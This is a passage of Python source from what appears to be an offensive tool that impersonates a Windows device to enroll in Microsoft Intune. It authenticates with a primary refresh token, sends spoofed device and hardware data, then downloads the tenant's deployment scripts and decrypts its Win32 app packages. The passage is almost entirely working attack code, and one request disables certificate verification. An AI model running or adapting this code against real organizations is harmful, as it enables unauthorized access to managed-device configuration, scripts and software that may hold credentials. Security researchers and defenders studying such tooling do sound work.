self.provider_name = 'WindowsEnrollment' 27 | self.cname = 'ConfigMgrEnroll' 28 | 29 | def get_enrollment_token(self, refresh_token): 30 | access_token, refresh_token = prtauth( 31 | self.prt, self.session_key, '29d9ed98-a469-4536-ade2-f981bc1d605e', 'https://enrollment.manage.microsoft.com/', 'ms-aadj-redir://auth/mdm', self.proxy 32 | ) 33 | return access_token 34 | 35 | def send_enroll_request(self, enrollment_url, csr_pem, csr_token, ztdregistrationid): 36 | claims = jwt.decode(csr_token, options={"verify_signature":False}, algorithms=['RS256']) 37 | hwdevid = f"{self.deviceid}{claims['tid']}".replace('-', '') 38 | token_b64 = base64.b64encode(csr_token.encode('utf-8')).decode('utf-8') 39 | message_id = str(uuid.uuid4()) 40 | body = f''' 41 | 42 | 43 | http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep 44 | urn:uuid:{message_id} 45 | 46 | http://www.w3.org/2005/08/addressing/anonymous 47 | 48 | {enrollment_url} 49 | 50 | {token_b64} 51 | 52 | 53 | 54 | 55 | http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken 56 | http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue 57 | {csr_pem} 58 | 59 | 60 | true 61 | 62 | 63 | {hwdevid} 64 | 65 | 66 | true 67 | 68 | 69 | false 70 | 71 | REPLACE_ZEROTOUCH_PROVISIONING 72 | 73 | en-US 74 | 75 | 76 | false 77 | 78 | 79 | null 80 | 81 | 82 | 72 83 | 84 | 85 | {self.device_name} 86 | 87 | 88 | 00-00-00-00-00-00 89 | 90 | 91 | {self.deviceid.replace('-', '')} 92 | 93 | 94 | Device 95 | 96 | 97 | CIMClient_Windows 98 | 99 | 100 | {self.os_version} 101 | 102 | 103 | {self.os_version} 104 | 105 | 106 | 107 | 108 | 109 | ''' 110 | 111 | if ztdregistrationid: 112 | replace_str = f''' 113 | 114 | {ztdregistrationid} 115 | 116 | ''' 117 | body = body.replace('REPLACE_ZEROTOUCH_PROVISIONING', replace_str) 118 | else: 119 | body = body.replace('REPLACE_ZEROTOUCH_PROVISIONING', '') 120 | 121 | response = requests.post( 122 | url=enrollment_url, 123 | data=body, 124 | headers={"Content-Type": "application/soap+xml; charset=utf-8"}, 125 | proxies=self.proxy, 126 | verify=False 127 | ) 128 | xml = ET.fromstring(response.content.decode('utf-8')) 129 | binary_security_token = xml.find('.//{http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd}BinarySecurityToken').text 130 | return base64.b64decode(binary_security_token).decode('utf-8') 131 | 132 | def generate_initial_syncml(self, sessionid, imei): 133 | syncml_data = self.generate_syncml_header(1, sessionid, imei) 134 | 135 | syncml_data["SyncML"]["SyncBody"] = { 136 | "Alert": [], 137 | "Replace": { 138 | "CmdID": "6", 139 | "Item": [ 140 | { 141 | "Source": {"LocURI": "./DevInfo/DevId"}, 142 | "Data": f"imei:{imei}", 143 | }, 144 | { 145 | "Source": {"LocURI": "./DevInfo/Man"}, 146 | "Data": self.get_syncml_data("./DevInfo/Man")["Data"] 147 | }, 148 | { 149 | "Source": {"LocURI": "./DevInfo/Mod"}, 150 | "Data": self.get_syncml_data("./DevInfo/Mod")["Data"] 151 | }, 152 | { 153 | "Source": {"LocURI": "./DevInfo/DmV"}, 154 | "Data": self.get_syncml_data("./DevInfo/DmV")["Data"] 155 | }, 156 | { 157 | "Source": {"LocURI": "./DevInfo/Lang"}, 158 | "Data": self.get_syncml_data("./DevInfo/Lang")["Data"] 159 | } 160 | ], 161 | }, 162 | "Final": None 163 | } 164 | 165 | if self.hwhash: 166 | syncml_data["SyncML"]["SyncBody"]["Alert"] = [ 167 | {"CmdID": "2", "Data": "1201"}, 168 | {"CmdID": "3", "Data": "1224", "Item": {"Meta": {"Type": {"@xmlns": "syncml:metinf", "#text": "com.microsoft/MDM/LoginStatus"}},"Data": {"@xmlns": "SYNCML:SYNCML1.2", "#text":"others"}}}, 169 | {"CmdID": "4", "Data": "1224", "Item": {"Meta": {"Type": {"@xmlns": "syncml:metinf", "#text": "com.microsoft/MDM/BootstrapSync"}},"Data": {"@xmlns": "SYNCML:SYNCML1.2", "#text":"device"}}}, 170 | {"CmdID": "5", "Data": "1224", "Item": {"Meta": {"Type": {"@xmlns": "syncml:metinf", "#text": "com.microsoft/MDM/OdjSync"}},"Data": {"@xmlns": "SYNCML:SYNCML1.2", "#text":"device"}}}] 171 | 172 | return xmltodict.unparse(syncml_data, pretty=False) 173 | 174 | def get_syncml_data(self, key): 175 | offset = timedelta(hours=9) 176 | now = datetime.now() 177 | jst = timezone(offset) 178 | dt_with_tz = now.astimezone(jst) 179 | formatted_date = dt_with_tz.isoformat() 180 | data = { 181 | f"./DevInfo/DmV": { 182 | "Format": "int", 183 | "Data": '1.3' 184 | }, 185 | f"./Vendor/MSFT/NodeCache/MS%20DM%20Server": { 186 | "Format": "chr", 187 | "Data": 'CacheVersion/Nodes/ChangedNodes/ChangedNodesData' 188 | }, 189 | f"./Vendor/MSFT/NodeCache/MS%20DM%20Server/CacheVersion": { 190 | "Format": "chr", 191 | "Data": None 192 | }, 193 | f"./Vendor/MSFT/NodeCache/MS%20DM%20Server/ChangedNodes": { 194 | "Format": "chr", 195 | "Data": None 196 | }, 197 | f"./Device/Vendor/MSFT/DeviceManageability/Provider/MS%20DM%20Server/ConfigInfo": { 198 | "Format": "chr", 199 | "Data": None 200 | }, 201 | f"./Device/Vendor/MSFT/DeviceManageability/Provider/WMI_Bridge_Server/ConfigInfo": { 202 | "Format": "chr", 203 | "Data": None 204 | }, 205 | f"./Vendor/MSFT/Policy/Config/Security/RequireRetrieveHealthCertificateOnBoot": { 206 | "Format": "chr", 207 | "Data": None 208 | }, 209 | 210 | f"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/ExchangeID": { 211 | "Format": "chr", 212 | "Data": self.uid 213 | }, 214 | f"./Device/Vendor/MSFT/DeviceManageability/Capabilities/CSPVersions": { 215 | "Format": "chr", 216 | "Data": '<?xml version="1.0" encoding="utf-8"?><DeviceManageability Version="com.microsoft/1.1/MDM/DeviceManageability"><Capabilities><CSPVersions><CSP Node="./DevDetail" Version="1.2"></CSP><CSP Node="./DevInfo" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/AssignedAccess" Version="4.0"></CSP><CSP Node="./Device/Vendor/MSFT/BitLocker" Version="5.0"></CSP><CSP Node="./Device/Vendor/MSFT/ClientCertificateInstall" Version="1.1"></CSP><CSP Node="./Device/Vendor/MSFT/DMClient" Version="1.5"></CSP><CSP Node="./Device/Vendor/MSFT/DeclaredConfiguration" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/DeviceManageability" Version="2.0"></CSP><CSP Node="./Device/Vendor/MSFT/DeviceUpdateCenter" Version="2.0"></CSP><CSP Node="./Device/Vendor/MSFT/EnrollmentStatusTracking" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/EnterpriseAppVManagement" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/EnterpriseDataProtection" Version="4.0"></CSP><CSP Node="./Device/Vendor/MSFT/EnterpriseDesktopAppManagement" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"></CSP><CSP Node="./Device/Vendor/MSFT/GPCSEWrapper" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/NetworkQoSPolicy" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/OfflineDomainJoin" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/OptionalFeatures" Version="1.1"></CSP><CSP Node="./Device/Vendor/MSFT/PassportForWork" Version="1.6"></CSP><CSP Node="./Device/Vendor/MSFT/Policy" Version="10.0"></CSP><CSP Node="./Device/Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/PolicyManager/Security" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/Reboot" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/RemoteLock" Version="1.1"></CSP><CSP Node="./Device/Vendor/MSFT/RootCATrustedCertificates" Version="1.1"></CSP><CSP Node="./Device/Vendor/MSFT/VPNv2" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/WindowsAdvancedThreatProtection" Version="1.2"></CSP><CSP Node="./Device/Vendor/MSFT/WindowsDefenderApplicationGuard" Version="1.4"></CSP><CSP Node="./Device/Vendor/MSFT/WindowsIoT" Version="1.0"></CSP><CSP Node="./Device/Vendor/MSFT/WindowsLicensing" Version="1.4"></CSP><CSP Node="./SyncML/DMAcc" Version="1.1"></CSP><CSP Node="./SyncML/DMS" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/ActiveSync" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/ClientCertificateInstall" Version="1.1"></CSP><CSP Node="./User/Vendor/MSFT/DMClient" Version="1.5"></CSP><CSP Node="./User/Vendor/MSFT/DMSessionActions" Version="1.1"></CSP><CSP Node="./User/Vendor/MSFT/DeclaredConfiguration" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/EMAIL2" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/EnrollmentStatusTracking" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/EnterpriseAppVManagement" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/EnterpriseDesktopAppManagement" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"></CSP><CSP Node="./User/Vendor/MSFT/GPCSEWrapper" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/NodeCache" Version="1.2"></CSP><CSP Node="./User/Vendor/MSFT/PassportForWork" Version="1.6"></CSP><CSP Node="./User/Vendor/MSFT/Policy" Version="10.0"></CSP><CSP Node="./User/Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/PolicyManager/Security" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/PrinterProvisioning" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/RootCATrustedCertificates" Version="1.1"></CSP><CSP Node="./User/Vendor/MSFT/VPNv2" Version="1.0"></CSP><CSP Node="./User/Vendor/MSFT/WiFi" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/ActiveSync" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/AppLocker" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/CMPolicy" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/CMPolicyEnterprise" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/CellularSettings" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/CertificateStore" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/CleanPC" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/DMClient" Version="1.5"></CSP><CSP Node="./Vendor/MSFT/DMSessionActions" Version="1.1"></CSP><CSP Node="./Vendor/MSFT/DeclaredConfiguration" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/Defender" Version="1.2"></CSP><CSP Node="./Vendor/MSFT/DeviceLock" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/DeviceStatus" Version="1.5"></CSP><CSP Node="./Vendor/MSFT/DeviceUpdate" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/DiagnosticLog" Version="1.4"></CSP><CSP Node="./Vendor/MSFT/DynamicManagement" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/EMAIL2" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/EnterpriseAPN" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/EnterpriseModernAppManagement" Version="1.2"></CSP><CSP Node="./Vendor/MSFT/Firewall" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/GPCSEWrapper" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/HealthAttestation" Version="1.3"></CSP><CSP Node="./Vendor/MSFT/LanguagePackManagement" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/Maps" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/MultiSIM" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/NetworkProxy" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/NodeCache" Version="1.2"></CSP><CSP Node="./Vendor/MSFT/Office" Version="1.5"></CSP><CSP Node="./Vendor/MSFT/PassportForWork" Version="1.6"></CSP><CSP Node="./Vendor/MSFT/Personalization" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/Policy/NetworkIsolation" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/PolicyManager/DeviceLock" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/PolicyManager/Security" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/RemoteFind" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/RemoteLock" Version="1.1"></CSP><CSP Node="./Vendor/MSFT/RemoteWipe" Version="1.1"></CSP><CSP Node="./Vendor/MSFT/Reporting" Version="2.1"></CSP><CSP Node="./Vendor/MSFT/SUPL" Version="1.2"></CSP><CSP Node="./Vendor/MSFT/SecureAssessment" Version="1.1"></CSP><CSP Node="./Vendor/MSFT/SecurityPolicy" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/SharedPC" Version="1.2"></CSP><CSP Node="./Vendor/MSFT/Storage" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/TPMPolicy" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/TenantLockdown" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/UnifiedWriteFilter" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/Update" Version="1.1"></CSP><CSP Node="./Vendor/MSFT/VPNv2" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/WiFi" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/Win32AppInventory" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/WindowsAutopilot" Version="1.0"></CSP><CSP Node="./Vendor/MSFT/WindowsLicensing" Version="1.4"></CSP><CSP Node="./Vendor/MSFT/eUICCs" Version="1.2"></CSP><CSP Node="./Vendor/MSFT/uefi" Version="1.0"></CSP><CSP Node="./cimv2/MDM_AppInstallJob" Version="1.0"></CSP><CSP Node="./cimv2/MDM_Application" Version="1.0"></CSP><CSP Node="./cimv2/MDM_ApplicationFramework" Version="1.0"></CSP><CSP Node="./cimv2/MDM_ApplicationSetting" Version="1.0"></CSP><CSP Node="./cimv2/MDM_BrowserSecurityZones" Version="1.0"></CSP><CSP Node="./cimv2/MDM_BrowserSettings" Version="1.0"></CSP><CSP Node="./cimv2/MDM_Certificate" Version="1.0"></CSP><CSP Node="./cimv2/MDM_CertificateEnrollment" Version="1.0"></CSP><CSP Node="./cimv2/MDM_Client" Version="1.0"></CSP><CSP Node="./cimv2/MDM_ConfigSetting" Version="1.0"></CSP><CSP Node="./cimv2/MDM_EASPolicy" Version="1.0"></CSP><CSP Node="./cimv2/MDM_MgmtAuthority" Version="1.0"></CSP><CSP Node="./cimv2/MDM_RemoteAppUserCookie" Version="1.0"></CSP><CSP Node="./cimv2/MDM_RemoteApplication" Version="1.0"></CSP><CSP Node="./cimv2/MDM_Restrictions" Version="1.0"></CSP><CSP Node="./cimv2/MDM_RestrictionsUser" Version="1.0"></CSP><CSP Node="./cimv2/MDM_SecurityStatus" Version="1.0"></CSP><CSP Node="./cimv2/MDM_SecurityStatusUser" Version="1.0"></CSP><CSP Node="./cimv2/MDM_SideLoader" Version="1.0"></CSP><CSP Node="./cimv2/MDM_Updates" Version="1.0"></CSP><CSP Node="./cimv2/MDM_VpnApplicationTrigger" Version="1.0"></CSP><CSP Node="./cimv2/MDM_VpnConnection" Version="1.0"></CSP><CSP Node="./cimv2/MDM_WNSChannel" Version="1.0"></CSP><CSP Node="./cimv2/MDM_WNSConfiguration" Version="1.0"></CSP><CSP Node="./cimv2/MDM_WebApplication" Version="1.0"></CSP><CSP Node="./cimv2/MDM_WirelessProfile" Version="1.0"></CSP><CSP Node="./cimv2/MDM_WirelessProfileXml" Version="1.0"></CSP><CSP Node="./cimv2/MSFT_NetFirewallProfile" Version="1.0"></CSP><CSP Node="./cimv2/MSFT_VpnConnection" Version="1.0"></CSP><CSP Node="./cimv2/Win32_DisplayConfiguration" Version="1.0"></CSP><CSP Node="./cimv2/Win32_EncryptableVolume" Version="1.0"></CSP><CSP Node="./cimv2/Win32_InfraredDevice" Version="1.0"></CSP><CSP Node="./cimv2/Win32_LocalTime" Version="1.0"></CSP><CSP Node="./cimv2/Win32_LogicalDisk" Version="1.0"></CSP><CSP Node="./cimv2/Win32_NetworkAdapter" Version="1.0"></CSP><CSP Node="./cimv2/Win32_NetworkAdapterConfiguration" Version="1.0"></CSP><CSP Node="./cimv2/Win32_OperatingSystem" Version="1.0"></CSP><CSP Node="./cimv2/Win32_PhysicalMemory" Version="1.0"></CSP><CSP Node="./cimv2/Win32_PnPDevice" Version="1.0"></CSP><CSP Node="./cimv2/Win32_PortableBattery" Version="1.0"></CSP><CSP Node="./cimv2/Win32_Processor" Version="1.0"></CSP><CSP Node="./cimv2/Win32_QuickFixEngineering" Version="1.0"></CSP><CSP Node="./cimv2/Win32_Registry" Version="1.0"></CSP><CSP Node="./cimv2/Win32_Service" Version="1.0"></CSP><CSP Node="./cimv2/Win32_Share" Version="1.0"></CSP><CSP Node="./cimv2/Win32_SystemBIOS" Version="1.0"></CSP><CSP Node="./cimv2/Win32_SystemEnclosure" Version="1.0"></CSP><CSP Node="./cimv2/Win32_TimeZone" Version="1.0"></CSP><CSP Node="./cimv2/Win32_UTCTime" Version="1.0"></CSP><CSP Node="./cimv2/Win32_WindowsUpdateAgentVersion" Version="1.0"></CSP><CSP Node="./cimv2/WpcAppOverride" Version="1.0"></CSP><CSP Node="./cimv2/WpcGameOverride" Version="1.0"></CSP><CSP Node="./cimv2/WpcGamesSettings" Version="1.0"></CSP><CSP Node="./cimv2/WpcRating" Version="1.0"></CSP><CSP Node="./cimv2/WpcRatingsDescriptor" Version="1.0"></CSP><CSP Node="./cimv2/WpcRatingsSystem" Version="1.0"></CSP><CSP Node="./cimv2/WpcSystemSettings" Version="1.0"></CSP><CSP Node="./cimv2/WpcURLOverride" Version="1.0"></CSP><CSP Node="./cimv2/WpcUserSettings" Version="1.0"></CSP><CSP Node="./cimv2/WpcWebSettings" Version="1.0"></CSP></CSPVersions></Capabilities></DeviceManageability>' 217 | }, 218 | f"./DevDetail/Ext/Microsoft/LocalTime": { 219 | "Format": "chr", 220 | "Data": formatted_date 221 | }, 222 | f"./Device/DevDetail/Ext/Microsoft/LocalTime": { 223 | "Format": "chr", 224 | "Data": formatted_date 225 | }, 226 | f"./DevDetail/Ext/Microsoft/DeviceName": { 227 | "Format": "chr", 228 | "Data": self.device_name 229 | }, 230 | f"./Device/DevDetail/SwV": { 231 | "Format": "chr", 232 | "Data": self.os_version 233 | }, 234 | f"./DevDetail/SwV": { 235 | "Format": "chr", 236 | "Data": self.os_version 237 | }, 238 | f"./Vendor/MSFT/WindowsLicensing/Edition": { 239 | "Format": "int", 240 | "Data": "4" 241 | }, 242 | f"./Vendor/MSFT/Update/LastSuccessfulScanTime": { 243 | "Format": "chr", 244 | "Data": formatted_date 245 | }, 246 | f"./Vendor/MSFT/DeviceStatus/OS/Mode": { 247 | "Format": "int", 248 | "Data": "0" 249 | }, 250 | f"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/EntDMID": { 251 | "Format": "chr", 252 | "Data": self.deviceid 253 | }, 254 | f"./DevInfo/Man": { 255 | "Format": "chr", 256 | "Data": "Microsoft Corporation" 257 | }, 258 | f"./Device/DevInfo/Lang": { 259 | "Format": "chr", 260 | "Data": "en-US" 261 | }, 262 | f"./DevInfo/Lang": { 263 | "Format": "chr", 264 | "Data": "en-US" 265 | }, 266 | f"./Device/DevDetail/Ext/Microsoft/OSPlatform": { 267 | "Format": "chr", 268 | "Data": "Windows 10 Enterprise" 269 | }, 270 | f"./Device/Vendor/MSFT/DeviceInformation/Version": { 271 | "Format": "chr", 272 | "Data": self.os_version 273 | }, 274 | f"./DevInfo/Mod": { 275 | "Format": "chr", 276 | "Data": "VMware7.1" 277 | }, 278 | f"./Vendor/MSFT/DeviceStatus/OS/Edition": { 279 | "Format": "int", 280 | "Data": "4" 281 | }, 282 | f"./DevDetail/FwV": { 283 | "Format": "chr", 284 | "Data": "VMW71.00V.00000000.000.0000000000" 285 | }, 286 | f"./DevDetail/Ext/Microsoft/OSPlatform": { 287 | "Format": "chr", 288 | "Data": "Windows 10 Enterprise" 289 | }, 290 | f"./DevDetail/Ext/Microsoft/DNSComputerName": { 291 | "Format": "chr", 292 | "Data": self.device_name 293 | }, 294 | f"./Device/DevInfo/DmV": { 295 | "Format": "chr", 296 | "Data": "1.3" 297 | }, 298 | f"./Device/DevDetail/HwV": { 299 | "Format": "chr", 300 | "Data": "Hyper-V UEFI Release v4.0" 301 | }, 302 | f"./Device/DevDetail/DevTyp": { 303 | "Format": "chr", 304 | "Data": "VMware 7.1" 305 | }, 306 | f"./Device/DevDetail/OEM": { 307 | "Format": "chr", 308 | "Data": "Microsoft Corporation" 309 | }, 310 | f"./DevDetail/Ext/Microsoft/ProcessorArchitecture": { 311 | "Format": "int", 312 | "Data": "9" 313 | }, 314 | f"./Vendor/MSFT/DMClient/HWDevID": { 315 | "Format": "chr", 316 | "Data": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 317 | }, 318 | f"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/PublisherDeviceID": { 319 | "Format": "chr", 320 | "Data": None 321 | }, 322 | f"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/EntDeviceName": { 323 | "Format": "chr", 324 | "Data": self.device_name 325 | }, 326 | f"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/ForceAadToken": { 327 | "Format": "int", 328 | "Data": 1 329 | }, 330 | f"./Device/Vendor/MSFT/BitLocker/Status/DeviceEncryptionStatus": { 331 | "Format": "int", 332 | "Data": 2 333 | }, 334 | f"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/AADResourceID": { 335 | "Format": "chr", 336 | "Data": "https://manage.microsoft.com/" 337 | }, 338 | f"./DevDetail/Ext/DeviceHardwareData": { 339 | "Format":"chr", 340 | "Data":self.hwhash 341 | }, 342 | f"./Vendor/MSFT/WindowsAutopilot/HardwareMismatchRemediationData": { 343 | "Format":"chr", 344 | "Data":None 345 | }, 346 | } 347 | if key in data: 348 | return data[key] 349 | else: 350 | return None 351 | 352 | def send_syncml(self, data, certpath, keypath): 353 | response = requests.post( 354 | url=self.checkin_url, 355 | data=data, 356 | headers={ 357 | 'User-Agent': f'MSFT {self.os} OMA DM Client/2.7' , 'Content-Type': 'application/vnd.syncml.dm+xml', 358 | }, 359 | cert=(certpath, keypath) 360 | ) 361 | return response.content 362 | 363 | def download_apps(self, mdmpfx): 364 | certpath = 'pytune_mdm.crt' 365 | keypath = 'pytune_mdm.key' 366 | extract_pfx(mdmpfx, certpath, keypath) 367 | 368 | ime = IME(self.device_name, certpath, keypath) 369 | 370 | self.logger.info(f'downloading scripts...') 371 | policies = ime.request_policy() 372 | if len(policies) == 0: 373 | self.logger.error(f'available scripts not found') 374 | else: 375 | self.logger.alert(f'scripts found!') 376 | i = 1 377 | for policy in policies: 378 | self.logger.info(f'#{i} (policyid:{policy["PolicyId"]}):\n') 379 | print(policy["PolicyBody"] + '\n') 380 | i=i+1 381 | 382 | self.logger.info(f'downloading win32apps...') 383 | apps = ime.get_selected_app() 384 | if len(apps) == 0: 385 | self.logger.error(f'available intunewin file not found') 386 | 387 | for app in apps: 388 | self.logger.alert(f'found {app["Name"]}!') 389 | content_info = ime.get_content_info(app) 390 | upload_location = json.loads(content_info["ContentInfo"])["UploadLocation"] 391 | decrypt_info = ime.decrypt_decryptinfo(content_info["DecryptInfo"]) 392 | self.logger.info(f'downloading from {upload_location} ...') 393 | ime.download_decrypt_intunewin(app["Name"], upload_location, decrypt_info["EncryptionKey"], decrypt_info["IV"]) 394 | self.logger.success(f'successfully downloaded to {app["Name"]}.intunewin!') 395 | 396 | 397 | os.remove(certpath) 398 | os.remove(keypath) 399 | 400 | class IME(): 401 | def __init__(self, device_name, certpath, keypath): 402 | self.device_name = device_name 403 | self.certpath = certpath 404 | self.keypath = keypath 405 | 406 | def create_request_data(self, sessionid, gateway_api, request_payload=None): 407 | if request_payload == None: 408 | request_payload_str = "[]" 409 | else: 410 | request_payload_str = json.dumps(request_payload) 411 | 412 | data = { 413 | "Key": sessionid, 414 | "SessionId": sessionid, 415 | "RequestContentType": gateway_api, 416 | "RequestPayload": request_payload_str, 417 | "ResponseContentType": None, 418 | "ClientInfo": json.dumps({ 419 | "DeviceName": self.device_name, 420 | "OperatingSystemVersion": "10.0.19045", 421 | "SideCarAgentVersion": "1.83.107.0", 422 | "Win10SMode": False, 423 | "UnlockWin10SModeTenantId": None, 424 | "UnlockWin10SModeDeviceId": None, 425 | "ChannelUriInformation": None, 426 | "AgentExecutionStartTime": "10/11/2024 23:15:42", 427 | "AgentExecutionEndTime": "10/11/2024 23:15:38", 428 | "AgentCrashSeen": True, 429 | "ExtendedInventoryMap": { 430 | "OperatingSystemRevisionNumber": "2006", 431 | "SKU": "72", 432 | "DotNetFrameworkReleaseValue": "528372" 433 | } 434 | }), 435 | "ResponsePayload": None, 436 | "EnabledFlights": None, 437 | "CheckinIntervalMinutes": None, 438 | "GenericWorkloadRequests": None, 439 | "GenericWorkloadResponse": None, 440 | "CheckinReason": "AgentRestart", 441 | "CheckinReasonPayload": None 442 | } 443 | return data 444 | 445 | def resolve_service_address(self): 446 | response = requests.get( 447 | url='https://manage.microsoft.com/RestUserAuthLocationService/RestUserAuthLocationService/Certificate/ServiceAddresses', 448 | cert=(self.certpath, self.keypath), 449 | ) 450 | 451 | services = response.json()[0]["Services"] 452 | sidecar_url = None 453 | for service in services: 454 | if service['ServiceName'] == 'SideCarGatewayService': 455 | sidecar_url = service['Url'] 456 | return sidecar_url 457 | 458 | def decrypt_decryptinfo(self, decryptinfo): 459 | start = decryptinfo.find('') + len('') 460 | end = decryptinfo.find('') 461 | encrypted_content = decryptinfo[start:end].strip() 462 | smime_file = 'smime.p7m' 463 | save_encrypted_message_as_smime(encrypted_content, smime_file) 464 | decrypted_content = decrypt_smime_file(smime_file, self.keypath) 465 | decrypt_info = json.loads(decrypted_content) 466 | os.remove(smime_file) 467 | return decrypt_info 468 | 469 | def decompress_string(self, compressed_text): 470 | buffer = base64.b64decode(compressed_text) 471 | data_length = struct.unpack('I', buffer[:4])[0] 472 | memory_stream = io.BytesIO(buffer[4:]) 473 | 474 | with gzip.GzipFile(fileobj=memory_stream, mode='rb') as gzip_stream: 475 | decompressed_data = gzip_stream.read(data_length) 476 | 477 | return decompressed_data.decode('utf-8') 478 | 479 | def get_selected_app(self): 480 | 481 | sidecar_url = self.resolve_service_address() 482 | sessionid = str(uuid.uuid4()) 483 | data = self.create_request_data(sessionid, "GetSelectedApp") 484 | 485 | headers = { 486 | 'Content-Type': 'application/json', 487 | 'Prefer': 'return-content', 488 | } 489 | 490 | response = requests.put( 491 | url=f'{sidecar_url}/SideCarGatewaySessions(\'{sessionid}\')?api-version=1.5', 492 | cert=(self.certpath, self.keypath), 493 | data=json.dumps(data), 494 | headers=headers, 495 | ) 496 | 497 | response_payload = response.json()['ResponsePayload'] 498 | decompressed_string = self.decompress_string(response_payload) 499 | return json.loads(decompressed_string) 500 | 501 | def get_content_info(self, assigned_app): 502 | sidecar_url = self.resolve_service_address() 503 | with open(self.certpath, 'rb') as pem_file: 504 | pem_data = pem_file.read() 505 | 506 | cert = x509.load_pem_x509_certificate(pem_data, default_backend()) 507 | cert_base64 = base64.b64encode(cert.public_bytes(Encoding.DER)).decode('utf-8') 508 | 509 | request_payload = { 510 | "ApplicationId": assigned_app['Id'], 511 | "ApplicationVersion": assigned_app["Version"], 512 | "Intent": assigned_app["Intent"], 513 | "CertificateBlob": cert_base64, 514 | "ContentInfo": None, 515 | "SecondaryContentInfo": None, 516 | "DecryptInfo": None, 517 | "UploadLocation": None, 518 | "TargetingMethod": 0, 519 | "ErrorCode": None, 520 | "TargetType": 2, 521 | "InstallContext": 2, 522 | "EspPhase": 2, 523 | "ApplicationName": assigned_app['Name'], 524 | "AssignmentFilterIds": None, 525 | "ManagedInstallerStatus": 1, 526 | "ApplicationEnforcement": 0 527 | } 528 | sessionid = str(uuid.uuid4()) 529 | data = self.create_request_data(sessionid, "GetContentInfo", request_payload) 530 | 531 | headers = { 532 | 'Content-Type': 'application/json', 533 | 'Prefer': 'return-content' 534 | } 535 | 536 | response = requests.put( 537 | url=f'{sidecar_url}/SideCarGatewaySessions(\'{sessionid}\')?api-version=1.5', 538 | cert=(self.certpath, self.keypath), 539 | data=json.dumps(data), 540 | headers=headers, 541 | ) 542 | 543 | response_payload = response.json()["ResponsePayload"] 544 | return json.loads(response_payload) 545 | 546 | def download_decrypt_intunewin(self, appname, upload_location, key, iv): 547 | response = requests.get( 548 | url=upload_location 549 | ) 550 | 551 | decrypted_data = aes_decrypt(key, iv, response.content[48:]) 552 | with open(f'{appname}.intunewin', 'wb') as f: 553 | f.write(decrypted_data) 554 | 555 | def request_policy(self): 556 | sidecar_url = self.resolve_service_address() 557 | if sidecar_url == None: 558 | self.logger.error(f'SidecCarGatewayService not found') 559 | return 560 | 561 | sessionid = str(uuid.uuid4()) 562 | data = self.create_request_data(sessionid, "PolicyRequest") 563 | headers = { 564 | 'Content-Type': 'application/json', 565 | 'Prefer': 'return-content' 566 | } 567 | 568 | response = requests.put( 